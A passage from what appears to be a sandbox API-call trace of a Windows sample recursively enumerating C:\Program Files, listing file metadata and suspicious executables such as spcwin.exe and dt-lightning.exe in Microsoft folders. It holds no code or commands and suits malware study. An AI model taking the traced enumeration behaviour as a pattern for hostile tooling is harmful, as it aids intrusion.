cAlternateFileName="RESOUR~1")) returned 1 [0029.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.646] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.646] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0029.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba40 [0029.647] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.647] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0029.647] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0029.648] FindClose (in: hFindFile=0x70ba40 | out: hFindFile=0x70ba40) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0029.648] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0029.648] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0029.648] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0029.648] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa10704b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10704b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0029.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.648] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fcbd870, ftCreationTime.dwHighDateTime=0x1d5577d, ftLastAccessTime.dwLowDateTime=0x831e0100, ftLastAccessTime.dwHighDateTime=0x1d5a315, ftLastWriteTime.dwLowDateTime=0x831e0100, ftLastWriteTime.dwHighDateTime=0x1d5a315, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0029.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.656] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.656] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0029.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.657] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0029.657] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="SQLCEC~2.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="SQLCEE~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="SQLCEM~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="SQLCEO~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="SQLCEQ~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 0 [0029.657] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0029.657] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9fb50170, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb50170, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0029.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9fb50170, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb50170, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.658] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9fb50170, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb50170, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.658] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1b5a030, ftCreationTime.dwHighDateTime=0x1d594d1, ftLastAccessTime.dwLowDateTime=0xd9ff7660, ftLastAccessTime.dwHighDateTime=0x1d5c549, ftLastWriteTime.dwLowDateTime=0xd9ff7660, ftLastWriteTime.dwHighDateTime=0x1d5c549, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt-lightning.exe", cAlternateFileName="DT-LIG~1.EXE")) returned 1 [0029.658] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0029.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.658] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.658] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0029.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.667] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.667] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0029.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.668] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, 